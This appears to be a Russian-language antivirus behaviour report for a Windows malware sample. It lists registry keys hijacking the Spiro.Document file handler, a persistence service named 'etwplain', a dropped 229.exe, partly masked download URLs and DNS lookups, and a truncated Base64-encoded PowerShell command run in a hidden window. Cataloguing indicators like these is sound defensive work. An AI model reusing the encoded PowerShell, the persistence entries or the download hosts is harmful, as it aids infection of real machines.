Техническая информация
- [<HKLM>\Software\Classes\Spiro.Document\shell\open\command] '' = '%HOMEPATH%\229.exe "%1"'
- [<HKLM>\SOFTWARE\CLASSES\Spiro.Document\shell\open\command] '' = '%WINDIR%\SysWOW64\etwplain.exe "%1"'
- [<HKLM>\System\CurrentControlSet\Services\etwplain] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\etwplain] 'ImagePath' = '"%WINDIR%\SysWOW64\etwplain.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAUgBnAGoAcABuAHIAbQBnAHQAYQBmAGcAdAAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBWAHEAYgByAGwAcABtAG0AIAAjAD4AIAAkAEQAagByAGgAdABzAHoAdwBiAGwAegB3AD0AJw...
- %HOMEPATH%\229.exe
- %HOMEPATH%\229.exe в %WINDIR%\syswow64\etwplain.exe
- http://ya####matbaa.com/wp-content/pqdx79/
- http://is####.#iscovermichigan.com/wp-includes/wnaa99595/
- http://15#.###.227.206:8080/scripts/pnp/ringin/ via 15#.#20.227.206
- DNS ASK ya####matbaa.com
- DNS ASK ad####yevents.com
- DNS ASK is####.#iscovermichigan.com
- DNS ASK es####sinspain.com
- DNS ASK ka###bazzar.com
- '%HOMEPATH%\229.exe'
- '%WINDIR%\syswow64\etwplain.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAUgBnAGoAcABuAHIAbQBnAHQAYQBmAGcAdAAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBWAHEAYgByAGwAcABtAG0AIAAjAD4AIAAkAEQAagByAGgAdABzAHoAdwBiAGwAegB3AD0AJw...' (со скрытым окном)
- '%WINDIR%\splwow64.exe' 16384